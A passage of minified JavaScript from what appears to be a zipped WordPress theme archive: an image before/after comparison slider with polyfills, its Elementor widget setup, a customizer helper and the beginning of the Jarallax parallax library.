r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}e.r(n),e(62),e(73),e(74),e(75),e(76),e(77),e(78),e(84),e(56),e(90),e(91),e(92),e(94),e(96),e(98),e(100),e(101),e(102);var o=function(){function t(n){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};!function(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}(this,t),this.settings=Object.assign({controlColor:"#FFFFFF",controlShadow:!0,addCircle:!1,addCircleBlur:!0,showLabels:!1,labelOptions:{before:"Before",after:"After",onHover:!1},smoothing:!0,smoothingAmount:100,hoverStart:!1,verticalMode:!1,startingPoint:50,fluidMode:!1},e),this.safariAgent=-1!=navigator.userAgent.indexOf("Safari")&&-1==navigator.userAgent.indexOf("Chrome"),this.el=n,this.images={},this.wrapper=null,this.control=null,this.arrowContainer=null,this.arrowAnimator=[],this.active=!1,this.slideWidth=50,this.lineWidth=2,this.arrowCoordinates={circle:[5,3],standard:[8,0]}}var n,e;return n=t,(e=[{key:"mount",value:function(){this.safariAgent&&(this.settings.smoothing=!1),this._shapeContainer(),this._getImages(),this._buildControl(),this._events()}},{key:"_events",value:function(){var t=this;this.el.addEventListener("mousedown",(function(n){t._activate(!0),document.body.classList.add("icv__body"),t._slideCompare(n)})),this.el.addEventListener("mousemove",(function(n){return t.active&&t._slideCompare(n)})),this.el.addEventListener("mouseup",(function(){return t._activate(!1)})),document.body.addEventListener("mouseup",(function(){document.body.classList.remove("icv__body"),t._activate(!1)})),this.el.addEventListener("touchstart",(function(n){t._activate(!0),document.body.classList.add("icv__body")})),this.el.addEventListener("touchmove",(function(n){t.active&&t._slideCompare(n)})),this.el.addEventListener("touchend",(function(){t._activate(!1),document.body.classList.remove("icv__body")})),this.el.addEventListener("mouseenter",(function(){t.settings.hoverStart&&t._activate(!0);var n=t.settings.addCircle?t.arrowCoordinates.circle:t.arrowCoordinates.standard;t.arrowAnimator.forEach((function(e,r){e.style.cssText="\n        ".concat(t.settings.verticalMode?"transform: translateY(".concat(n[1]*(0===r?1:-1),"px);"):"transform: translateX(".concat(n[1]*(0===r?1:-1),"px);"),"\n        ")}))})),this.el.addEventListener("mouseleave",(function(){var n=t.settings.addCircle?t.arrowCoordinates.circle:t.arrowCoordinates.standard;t.arrowAnimator.forEach((function(e,r){e.style.cssText="\n        ".concat(t.settings.verticalMode?"transform: translateY(".concat(0===r?"".concat(n[0],"px"):"-".concat(n[0],"px"),");"):"transform: translateX(".concat(0===r?"".concat(n[0],"px"):"-".concat(n[0],"px"),");"),"\n        ")}))}))}},{key:"_slideCompare",value:function(t){var n=this.el.getBoundingClientRect(),e=void 0!==t.touches?t.touches[0].clientX-n.left:t.clientX-n.left,r=void 0!==t.touches?t.touches[0].clientY-n.top:t.clientY-n.top,o=this.settings.verticalMode?r/n.height*100:e/n.width*100;o>=0&&o<=100&&(this.settings.verticalMode?this.control.style.top="calc(".concat(o,"% - ").concat(this.slideWidth/2,"px)"):this.control.style.left="calc(".concat(o,"% - ").concat(this.slideWidth/2,"px)"),this.settings.fluidMode?this.settings.verticalMode?this.wrapper.style.clipPath="inset(0 0 ".concat(100-o,"% 0)"):this.wrapper.style.clipPath="inset(0 0 0 ".concat(o,"%)"):this.settings.verticalMode?this.wrapper.style.height="calc(".concat(o,"%)"):this.wrapper.style.width="calc(".concat(100-o,"%)"))}},{key:"_activate",value:function(t){this.active=t}},{key:"_shapeContainer",value:function(){var t=document.createElement("div"),n=document.createElement("span"),e=document.createElement("span");n.classList.add("icv__label","icv__label-before","keep"),e.classList.add("icv__label","icv__label-after","keep"),this.settings.labelOptions.onHover&&(n.classList.add("on-hover"),e.classList.add("on-hover")),this.settings.verticalMode&&(n.classList.add("vertical"),e.classList.add("vertical")),n.innerHTML=this.settings.labelOptions.before||"Before",e.innerHTML=this.settings.labelOptions.after||"After",this.settings.showLabels&&(this.el.appendChild(n),this.el.appendChild(e)),this.el.classList.add("icv",this.settings.verticalMode?"icv__icv--vertical":"icv__icv--horizontal",this.settings.fluidMode?"icv__is--fluid":"standard"),t.classList.add("icv__imposter"),this.el.appendChild(t)}},{key:"_buildControl",value:function(){var t=this,n=document.createElement("div"),e=document.createElement("div"),r=document.createElement("div"),o=document.createElement("div");r.classList.add("icv__theme-wrapper");for(var i=0;i<=1;i++){var c=document.createElement("div"),a='<svg\n      height="15"\n      width="15"\n       style="\n       transform: \n       scale('.concat(this.settings.addCircle?.7:1.5,")  \n       rotateZ(").concat(0===i?this.settings.verticalMode?"-90deg":"180deg":this.settings.verticalMode?"90deg":"0deg","); height: ").concat("20","px; width: ").concat("20","px;\n       \n       ").concat(this.settings.controlShadow?"\n       -webkit-filter: drop-shadow( 0px 3px 5px rgba(0, 0, 0, .33));\n       filter: drop-shadow( 0px ".concat(0===i?"-3px":"3px"," 5px rgba(0, 0, 0, .33));\n       "):"",'\n       "\n       xmlns="http://www.w3.org/2000/svg" data-name="Layer 1" viewBox="0 0 15 15">\n       <path ').concat(this.settings.addCircle?'fill="transparent"':'fill="'.concat(this.settings.controlColor,'"'),'\n       stroke="').concat(this.settings.controlColor,'"\n       stroke-linecap="round"\n       stroke-width="').concat(this.settings.addCircle?3:0,'"\n       d="M4.5 1.9L10 7.65l-5.5 5.4"\n       />\n     </svg>');c.innerHTML+=a,this.arrowAnimator.push(c),r.appendChild(c)}var s=this.settings.addCircle?this.arrowCoordinates.circle:this.arrowCoordinates.standard;this.arrowAnimator.forEach((function(n,e){n.classList.add("icv__arrow-wrapper"),n.style.cssText="\n      ".concat(t.settings.verticalMode?"transform: translateY(".concat(0===e?"".concat(s[0],"px"):"-".concat(s[0],"px"),");"):"transform: translateX(".concat(0===e?"".concat(s[0],"px"):"-".concat(s[0],"px"),");"),"\n      ")})),n.classList.add("icv__control"),n.style.cssText="\n    ".concat(this.settings.verticalMode?"height":"width ",": ").concat(this.slideWidth,"px;\n    ").concat(this.settings.verticalMode?"top":"left ",": calc(").concat(this.settings.startingPoint,"% - ").concat(this.slideWidth/2,"px);\n    ").concat("ontouchstart"in document.documentElement?"":this.settings.smoothing?"transition: ".concat(this.settings.smoothingAmount,"ms ease-out;"):"","\n    "),e.classList.add("icv__control-line"),e.style.cssText="\n      ".concat(this.settings.verticalMode?"height":"width ",": ").concat(this.lineWidth,"px;\n      background: ").concat(this.settings.controlColor,";\n        ").concat(this.settings.controlShadow?"box-shadow: 0px 0px 15px rgba(0,0,0,0.33);":"","\n    ");var u=e.cloneNode(!0);o.classList.add("icv__circle"),o.style.cssText="\n\n      ".concat(this.settings.addCircleBlur&&"-webkit-backdrop-filter: blur(5px); backdrop-filter: blur(5px)",";\n      \n      border: ").concat(this.lineWidth,"px solid ").concat(this.settings.controlColor,";\n      ").concat(this.settings.controlShadow&&"box-shadow: 0px 0px 15px rgba(0,0,0,0.33)",";\n    "),n.appendChild(e),this.settings.addCircle&&n.appendChild(o),n.appendChild(r),n.appendChild(u),this.arrowContainer=r,this.control=n,this.el.appendChild(n)}},{key:"_getImages",value:function(){var t=this,n=this.el.querySelectorAll("img, .keep");this.el.innerHTML="",n.forEach((function(n){t.el.appendChild(n)}));var e=function(t){return function(t){if(Array.isArray(t)){for(var n=0,e=new Array(t.length);n<t.length;n++)e[n]=t[n];return e}}(t)||function(t){if(Symbol.iterator in Object(t)||"[object Arguments]"===Object.prototype.toString.call(t))return Array.from(t)}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}(n).filter((function(t){return"img"===t.nodeName.toLowerCase()}));this.settings.verticalMode&&e.reverse();for(var r=0;r<=1;r++){var o=e[r];if(o.classList.add("icv__img"),o.classList.add(0===r?"icv__img-a":"icv__img-b"),1===r){var i=document.createElement("div"),c=e[1].src;i.classList.add("icv__wrapper"),i.style.cssText="\n            width: ".concat(100-this.settings.startingPoint,"%; \n            height: ").concat(this.settings.startingPoint,"%;\n\n            ").concat("ontouchstart"in document.documentElement?"":this.settings.smoothing?"transition: ".concat(this.settings.smoothingAmount,"ms ease-out;"):"","\n            ").concat(this.settings.fluidMode&&"background-image: url(".concat(c,"); clip-path: inset(").concat(this.settings.verticalMode?" 0 0 ".concat(100-this.settings.startingPoint,"% 0"):"0 0 0 ".concat(this.settings.startingPoint,"%"),")"),"\n        "),i.appendChild(o),this.wrapper=i,this.el.appendChild(this.wrapper)}}if(this.settings.fluidMode){var a=e[0].src,s=document.createElement("div");s.classList.add("icv__fluidwrapper"),s.style.cssText="\n \n        background-image: url(".concat(a,");\n        \n      "),this.el.appendChild(s)}}}])&&r(n.prototype,e),t}();n.default=o},function(t,n,e){"use strict";var r=e(4),o=e(1),i=e(17),c=e(8),a=e(46),s=e(2),u=e(3),f=e(22),l=e(6),p=e(7),d=e(12),v=e(10),h=e(16),g=e(13),y=e(34),m=e(35),b=e(30),x=e(71),w=e(33),S=e(23),O=e(9),_=e(24),j=e(5),L=e(11),C=e(14),A=e(19),E=e(20),T=e(29),M=e(0),P=e(47),k=e(48),I=e(36),F=e(18),N=e(37).forEach,R=A("hidden"),D=M("toPrimitive"),G=F.set,W=F.getterFor("Symbol"),B=Object.prototype,H=o.Symbol,V=o.JSON,Y=V&&V.stringify,z=S.f,q=O.f,X=x.f,U=_.f,J=C("symbols"),$=C("op-symbols"),K=C("string-to-symbol-registry"),Q=C("symbol-to-string-registry"),Z=C("wks"),tt=o.QObject,nt=!tt||!tt.prototype||!tt.prototype.findChild,et=c&&s((function(){return 7!=y(q({},"a",{get:function(){return q(this,"a",{value:7}).a}})).a}))?function(t,n,e){var r=z(B,n);r&&delete B[n],q(t,n,e),r&&t!==B&&q(B,n,r)}:q,rt=function(t,n){var e=J[t]=y(H.prototype);return G(e,{type:"Symbol",tag:t,description:n}),c||(e.description=n),e},ot=a&&"symbol"==typeof H.iterator?function(t){return"symbol"==typeof t}:function(t){return Object(t)instanceof H},it=function(t,n,e){t===B&&it($,n,e),p(t);var r=h(n,!0);return p(e),u(J,r)?(e.enumerable?(u(t,R)&&t[R][r]&&(t[R][r]=!1),e=y(e,{enumerable:g(0,!1)})):(u(t,R)||q(t,R,g(1,{})),t[R][r]=!0),et(t,r,e)):q(t,r,e)},ct=function(t,n){p(t);var e=v(n),r=m(e).concat(ft(e));return N(r,(function(n){c&&!at.call(e,n)||it(t,n,e[n])})),t},at=function(t){var n=h(t,!0),e=U.call(this,n);return!(this===B&&u(J,n)&&!u($,n))&&(!(e||!u(this,n)||!u(J,n)||u(this,R)&&this[R][n])||e)},st=function(t,n){var e=v(t),r=h(n,!0);if(e!==B||!u(J,r)||u($,r)){var o=z(e,r);return!o||!u(J,r)||u(e,R)&&e[R][r]||(o.enumerable=!0),o}},ut=function(t){var n=X(v(t)),e=[];return N(n,(function(t){u(J,t)||u(E,t)||e.push(t)})),e},ft=function(t){var n=t===B,e=X(n?$:v(t)),r=[];return N(e,(function(t){!u(J,t)||n&&!u(B,t)||r.push(J[t])})),r};a||(L((H=function(){if(this instanceof H)throw TypeError("Symbol is not a constructor");var t=arguments.length&&void 0!==arguments[0]?String(arguments[0]):void 0,n=T(t),e=function(t){this===B&&e.call($,t),u(this,R)&&u(this[R],n)&&(this[R][n]=!1),et(this,n,g(1,t))};return c&&nt&&et(B,n,{configurable:!0,set:e}),rt(n,t)}).prototype,"toString",(function(){return W(this).tag})),_.f=at,O.f=it,S.f=st,b.f=x.f=ut,w.f=ft,c&&(q(H.prototype,"description",{configurable:!0,get:function(){return W(this).description}}),i||L(B,"propertyIsEnumerable",at,{unsafe:!0})),P.f=function(t){return rt(M(t),t)}),r({global:!0,wrap:!0,forced:!a,sham:!a},{Symbol:H}),N(m(Z),(function(t){k(t)})),r({target:"Symbol",stat:!0,forced:!a},{for:function(t){var n=String(t);if(u(K,n))return K[n];var e=H(n);return K[n]=e,Q[e]=n,e},keyFor:function(t){if(!ot(t))throw TypeError(t+" is not a symbol");if(u(Q,t))return Q[t]},useSetter:function(){nt=!0},useSimple:function(){nt=!1}}),r({target:"Object",stat:!0,forced:!a,sham:!c},{create:function(t,n){return void 0===n?y(t):ct(y(t),n)},defineProperty:it,defineProperties:ct,getOwnPropertyDescriptor:st}),r({target:"Object",stat:!0,forced:!a},{getOwnPropertyNames:ut,getOwnPropertySymbols:ft}),r({target:"Object",stat:!0,forced:s((function(){w.f(1)}))},{getOwnPropertySymbols:function(t){return w.f(d(t))}}),V&&r({target:"JSON",stat:!0,forced:!a||s((function(){var t=H();return"[null]"!=Y([t])||"{}"!=Y({a:t})||"{}"!=Y(Object(t))}))},{stringify:function(t){for(var n,e,r=[t],o=1;arguments.length>o;)r.push(arguments[o++]);if(e=n=r[1],(l(n)||void 0!==t)&&!ot(t))return f(n)||(n=function(t,n){if("function"==typeof e&&(n=e.call(this,t,n)),!ot(n))return n}),r[1]=n,Y.apply(V,r)}}),H.prototype[D]||j(H.prototype,D,H.prototype.valueOf),I(H,"Symbol"),E[R]=!0},function(t,n){var e;e=function(){return this}();try{e=e||new Function("return this")()}catch(t){"object"==typeof window&&(e=window)}t.exports=e},function(t,n,e){var r=e(1),o=e(28),i=r["__core-js_shared__"]||o("__core-js_shared__",{});t.exports=i},function(t,n,e){var r=e(1),o=e(40),i=r.WeakMap;t.exports="function"==typeof i&&/native code/.test(o.call(i))},function(t,n,e){var r=e(42),o=e(30),i=e(33),c=e(7);t.exports=r("Reflect","ownKeys")||function(t){var n=o.f(c(t)),e=i.f;return e?n.concat(e(t)):n}},function(t,n,e){var r=e(31),o=Math.max,i=Math.min;t.exports=function(t,n){var e=r(t);return e<0?o(e+n,0):i(e,n)}},function(t,n,e){var r=e(2),o=/#|\.prototype\./,i=function(t,n){var e=a[c(t)];return e==u||e!=s&&("function"==typeof n?r(n):!!n)},c=i.normalize=function(t){return String(t).replace(o,".").toLowerCase()},a=i.data={},s=i.NATIVE="N",u=i.POLYFILL="P";t.exports=i},function(t,n,e){var r=e(8),o=e(9),i=e(7),c=e(35);t.exports=r?Object.defineProperties:function(t,n){i(t);for(var e,r=c(n),a=r.length,s=0;a>s;)o.f(t,e=r[s++],n[e]);return t}},function(t,n,e){var r=e(42);t.exports=r("document","documentElement")},function(t,n,e){var r=e(10),o=e(30).f,i={}.toString,c="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return c&&"[object Window]"==i.call(t)?function(t){try{return o(t)}catch(t){return c.slice()}}(t):o(r(t))}},function(t,n){t.exports=function(t){if("function"!=typeof t)throw TypeError(String(t)+" is not a function");return t}},function(t,n,e){"use strict";var r=e(4),o=e(8),i=e(1),c=e(3),a=e(6),s=e(9).f,u=e(41),f=i.Symbol;if(o&&"function"==typeof f&&(!("description"in f.prototype)||void 0!==f().description)){var l={},p=function(){var t=arguments.length<1||void 0===arguments[0]?void 0:String(arguments[0]),n=this instanceof p?new f(t):void 0===t?f():f(t);return""===t&&(l[n]=!0),n};u(p,f);var d=p.prototype=f.prototype;d.constructor=p;var v=d.toString,h="Symbol(test)"==String(f("test")),g=/^Symbol\((.*)\)[^)]+$/;s(d,"description",{configurable:!0,get:function(){var t=a(this)?this.valueOf():this,n=v.call(t);if(c(l,t))return"";var e=h?n.slice(7,-1):n.replace(g,"$1");return""===e?void 0:e}}),r({global:!0,forced:!0},{Symbol:p})}},function(t,n,e){e(48)("iterator")},function(t,n,e){"use strict";var r=e(4),o=e(2),i=e(22),c=e(6),a=e(12),s=e(21),u=e(51),f=e(50),l=e(52),p=e(0)("isConcatSpreadable"),d=!o((function(){var t=[];return t[p]=!1,t.concat()[0]!==t})),v=l("concat"),h=function(t){if(!c(t))return!1;var n=t[p];return void 0!==n?!!n:i(t)};r({target:"Array",proto:!0,forced:!d||!v},{concat:function(t){var n,e,r,o,i,c=a(this),l=f(c,0),p=0;for(n=-1,r=arguments.length;n<r;n++)if(h(i=-1===n?c:arguments[n])){if(p+(o=s(i.length))>9007199254740991)throw TypeError("Maximum allowed index exceeded");for(e=0;e<o;e++,p++)e in i&&u(l,p,i[e])}else{if(p>=9007199254740991)throw TypeError("Maximum allowed index exceeded");u(l,p++,i)}return l.length=p,l}})},function(t,n,e){"use strict";var r=e(4),o=e(37).filter;r({target:"Array",proto:!0,forced:!e(52)("filter")},{filter:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){"use strict";var r=e(4),o=e(53);r({target:"Array",proto:!0,forced:[].forEach!=o},{forEach:o})},function(t,n,e){var r=e(4),o=e(79);r({target:"Array",stat:!0,forced:!e(83)((function(t){Array.from(t)}))},{from:o})},function(t,n,e){"use strict";var r=e(49),o=e(12),i=e(80),c=e(81),a=e(21),s=e(51),u=e(82);t.exports=function(t){var n,e,f,l,p,d=o(t),v="function"==typeof this?this:Array,h=arguments.length,g=h>1?arguments[1]:void 0,y=void 0!==g,m=0,b=u(d);if(y&&(g=r(g,h>2?arguments[2]:void 0,2)),null==b||v==Array&&c(b))for(e=new v(n=a(d.length));n>m;m++)s(e,m,y?g(d[m],m):d[m]);else for(p=(l=b.call(d)).next,e=new v;!(f=p.call(l)).done;m++)s(e,m,y?i(l,g,[f.value,m],!0):f.value);return e.length=m,e}},function(t,n,e){var r=e(7);t.exports=function(t,n,e,o){try{return o?n(r(e)[0],e[1]):n(e)}catch(n){var i=t.return;throw void 0!==i&&r(i.call(t)),n}}},function(t,n,e){var r=e(0),o=e(15),i=r("iterator"),c=Array.prototype;t.exports=function(t){return void 0!==t&&(o.Array===t||c[i]===t)}},function(t,n,e){var r=e(55),o=e(15),i=e(0)("iterator");t.exports=function(t){if(null!=t)return t[i]||t["@@iterator"]||o[r(t)]}},function(t,n,e){var r=e(0)("iterator"),o=!1;try{var i=0,c={next:function(){return{done:!!i++}},return:function(){o=!0}};c[r]=function(){return this},Array.from(c,(function(){throw 2}))}catch(t){}t.exports=function(t,n){if(!n&&!o)return!1;var e=!1;try{var i={};i[r]=function(){return{next:function(){return{done:e=!0}}}},t(i)}catch(t){}return e}},function(t,n,e){"use strict";var r=e(4),o=e(45).indexOf,i=e(54),c=[].indexOf,a=!!c&&1/[1].indexOf(1,-0)<0,s=i("indexOf");r({target:"Array",proto:!0,forced:a||s},{indexOf:function(t){return a?c.apply(this,arguments)||0:o(this,t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(0),o=e(34),i=e(5),c=r("unscopables"),a=Array.prototype;null==a[c]&&i(a,c,o(null)),t.exports=function(t){a[c][t]=!0}},function(t,n,e){"use strict";var r=e(58).IteratorPrototype,o=e(34),i=e(13),c=e(36),a=e(15),s=function(){return this};t.exports=function(t,n,e){var u=n+" Iterator";return t.prototype=o(r,{next:i(1,e)}),c(t,u,!1,!0),a[u]=s,t}},function(t,n,e){var r=e(2);t.exports=!r((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototype}))},function(t,n,e){var r=e(7),o=e(89);t.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var t,n=!1,e={};try{(t=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(e,[]),n=e instanceof Array}catch(t){}return function(e,i){return r(e),o(i),n?t.call(e,i):e.__proto__=i,e}}():void 0)},function(t,n,e){var r=e(6);t.exports=function(t){if(!r(t)&&null!==t)throw TypeError("Can't set "+String(t)+" as a prototype");return t}},function(t,n,e){"use strict";var r=e(4),o=e(22),i=[].reverse,c=[1,2];r({target:"Array",proto:!0,forced:String(c)===String(c.reverse())},{reverse:function(){return o(this)&&(this.length=this.length),i.call(this)}})},function(t,n,e){var r=e(11),o=Date.prototype,i=o.toString,c=o.getTime;new Date(NaN)+""!="Invalid Date"&&r(o,"toString",(function(){var t=c.call(this);return t==t?i.call(this):"Invalid Date"}))},function(t,n,e){var r=e(4),o=e(93);r({target:"Object",stat:!0,forced:Object.assign!==o},{assign:o})},function(t,n,e){"use strict";var r=e(8),o=e(2),i=e(35),c=e(33),a=e(24),s=e(12),u=e(25),f=Object.assign;t.exports=!f||o((function(){var t={},n={},e=Symbol();return t[e]=7,"abcdefghijklmnopqrst".split("").forEach((function(t){n[t]=t})),7!=f({},t)[e]||"abcdefghijklmnopqrst"!=i(f({},n)).join("")}))?function(t,n){for(var e=s(t),o=arguments.length,f=1,l=c.f,p=a.f;o>f;)for(var d,v=u(arguments[f++]),h=l?i(v).concat(l(v)):i(v),g=h.length,y=0;g>y;)d=h[y++],r&&!p.call(v,d)||(e[d]=v[d]);return e}:f},function(t,n,e){var r=e(11),o=e(95),i=Object.prototype;o!==i.toString&&r(i,"toString",o,{unsafe:!0})},function(t,n,e){"use strict";var r=e(55),o={};o[e(0)("toStringTag")]="z",t.exports="[object z]"!==String(o)?function(){return"[object "+r(this)+"]"}:o.toString},function(t,n,e){"use strict";var r=e(11),o=e(7),i=e(2),c=e(97),a=RegExp.prototype,s=a.toString,u=i((function(){return"/a/b"!=s.call({source:"a",flags:"b"})})),f="toString"!=s.name;(u||f)&&r(RegExp.prototype,"toString",(function(){var t=o(this),n=String(t.source),e=t.flags;return"/"+n+"/"+String(void 0===e&&t instanceof RegExp&&!("flags"in a)?c.call(t):e)}),{unsafe:!0})},function(t,n,e){"use strict";var r=e(7);t.exports=function(){var t=r(this),n="";return t.global&&(n+="g"),t.ignoreCase&&(n+="i"),t.multiline&&(n+="m"),t.dotAll&&(n+="s"),t.unicode&&(n+="u"),t.sticky&&(n+="y"),n}},function(t,n,e){"use strict";var r=e(99).charAt,o=e(18),i=e(57),c=o.set,a=o.getterFor("String Iterator");i(String,"String",(function(t){c(this,{type:"String Iterator",string:String(t),index:0})}),(function(){var t,n=a(this),e=n.string,o=n.index;return o>=e.length?{value:void 0,done:!0}:(t=r(e,o),n.index+=t.length,{value:t,done:!1})}))},function(t,n,e){var r=e(31),o=e(27),i=function(t){return function(n,e){var i,c,a=String(o(n)),s=r(e),u=a.length;return s<0||s>=u?t?"":void 0:(i=a.charCodeAt(s))<55296||i>56319||s+1===u||(c=a.charCodeAt(s+1))<56320||c>57343?t?a.charAt(s):i:t?a.slice(s,s+2):c-56320+(i-55296<<10)+65536}};t.exports={codeAt:i(!1),charAt:i(!0)}},function(t,n,e){var r=e(1),o=e(60),i=e(53),c=e(5);for(var a in o){var s=r[a],u=s&&s.prototype;if(u&&u.forEach!==i)try{c(u,"forEach",i)}catch(t){u.forEach=i}}},function(t,n,e){var r=e(1),o=e(60),i=e(56),c=e(5),a=e(0),s=a("iterator"),u=a("toStringTag"),f=i.values;for(var l in o){var p=r[l],d=p&&p.prototype;if(d){if(d[s]!==f)try{c(d,s,f)}catch(t){d[s]=f}if(d[u]||c(d,u,l),o[l])for(var v in i)if(d[v]!==i[v])try{c(d,v,i[v])}catch(t){d[v]=i[v]}}}},function(t,n,e){}]).default}));
( function( $, elementor ) {

	'use strict';

	var widgetImageCompare = function( $scope, $ ) {
        var $image_compare_main = $scope.find('.penciimg-compare');
        var $image_compare      = $scope.find('.image-compare');
        if ( !$image_compare.length ) {
            return;
        }

        var $settings        = $image_compare.data('settings');
        
        var 
        default_offset_pct   = $settings.default_offset_pct,
        orientation          = $settings.orientation,
        before_label         = $settings.before_label,
        after_label          = $settings.after_label,
        no_overlay           = $settings.no_overlay,
        on_hover             = $settings.on_hover,
        add_circle_blur      = $settings.add_circle_blur,
        add_circle_shadow    = $settings.add_circle_shadow,
        add_circle           = $settings.add_circle,
        smoothing            = $settings.smoothing,
        smoothing_amount     = $settings.smoothing_amount,
        bar_color            = $settings.bar_color,
        fluidMode_op         = $settings.fluidMode,
        move_slider_on_hover = $settings.move_slider_on_hover;
      
        var viewers = document.querySelectorAll('#' + $settings.id);
  
        var options = {

            // UI Theme Defaults
            controlColor : bar_color,
            controlShadow: add_circle_shadow,
            addCircle    : add_circle,
            addCircleBlur: add_circle_blur,
          
            // Label Defaults
            showLabels   : no_overlay,
            labelOptions : {
              before       : before_label,
              after        : after_label,
              onHover      : on_hover
            },
          
            // Smoothing
            smoothing      : smoothing,
            smoothingAmount: smoothing_amount,
          
            // Other options
            hoverStart     : move_slider_on_hover,
            verticalMode   : orientation,
            startingPoint  : default_offset_pct,
            fluidMode      : fluidMode_op,
          };

          viewers.forEach(function (element){
            var view = new ImageCompare(element, options).mount();
          });

	};

	jQuery(window).on('elementor/frontend/init', function() {
		elementorFrontend.hooks.addAction( 'frontend/element_ready/penci-image-compare.default', widgetImageCompare );
	});

}( jQuery, window.elementorFrontend ) );PK     N\=Bh  h    js/customizer-helper.jsnu [        /**
 * Script for customizer controls.
 */
(function ($, api) {
  api.bind("ready", function () {
    api.previewer.bind("ready", function (message) {
      var $iframe = $("#customize-preview iframe").contents();
      $iframe.find(".soledad-customizer-edit-link").on("click", function (e) {
        if ($(this).hasClass("custom-link")) {
          e.preventDefault();
          var link = $(this).attr("data-href");
          window.open(link, "_blank");
        } else {
          var t = api.section($(this).attr("data-section"));
          t.focus();
        }
      });
    });
  });
})(jQuery, wp.customize);
PK     N\.0 0   js/libs-script.min.jsnu [        /* Jarallax */
!function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.m=n,i.c=o,i.d=function(e,t,n){i.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(i.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(n,o,function(e){return t[e]}.bind(null,o));return n},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=10)}([,,function(e,t){e.exports=function(e){"complete"===document.readyState||"interactive"===document.readyState?e.call():document.attachEvent?document.attachEvent("onreadystatechange",function(){"interactive"===document.readyState&&e.call()}):document.addEventListener&&document.addEventListener("DOMContentLoaded",e)}},function(n,e,t){(function(e){var t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{};n.exports=t}).call(this,t(4))},function(e,t){function n(e){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var o=function(){return this}();try{o=o||new Function("return this")()}catch(e){"object"===("undefined"==typeof window?"undefined":n(window))&&(o=window)}e.exports=o},,,,,,function(e,t,n){e.exports=n(11)},function(e,t,n){"use strict";n.r(t);var o=n(2),i=n.n(o),a=n(3),r=n(12);function l(e){return(l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var s,c,u=a.window.jarallax;a.window.jarallax=r.default,a.window.jarallax.noConflict=function(){return a.window.jarallax=u,this},void 0!==a.jQuery&&((s=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];Array.prototype.unshift.call(t,this);var o=r.default.apply(a.window,t);return"object"!==l(o)?o:this}).constructor=r.default.constructor,c=a.jQuery.fn.jarallax,a.jQuery.fn.jarallax=s,a.jQuery.fn.jarallax.noConflict=function(){return a.jQuery.fn.jarallax=c,this}),i()(function(){Object(r.default)(document.querySelectorAll("[data-jarallax]"))})},function(e,t,n){"use strict";n.r(t);var o=n(2),i=n.n(o),b=n(3);function c(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var n=[],o=!0,i=!1,a=void 0;try{for(var r,l=e[Symbol.iterator]();!(o=(r=l.next()).done)&&(n.push(r.value),!t||n.length!==t);o=!0);}catch(e){i=!0,a=e}finally{try{o||null==l.return||l.return()}finally{if(i)throw a}}return n}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return a(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return a(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}function u(e){return(u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function r(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}var l,h,p=b.window.navigator,d=-1<p.userAgent.indexOf("MSIE ")||-1<p.userAgent.indexOf("Trident/")||-1<p.userAgent.indexOf("Edge/"),s=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(p.userAgent),m=function(){for(var e="transform WebkitTransform MozTransform".split(" "),t=document.createElement("div"),n=0;n<e.length;n+=1)if(t&&void 0!==t.style[e[n]])return e[n];return!1}();function f(){h=s?(!l&&document.body&&((l=document.createElement("div")).style.cssText="position: fixed; top: -9999px; left: 0; height: 100vh; width: 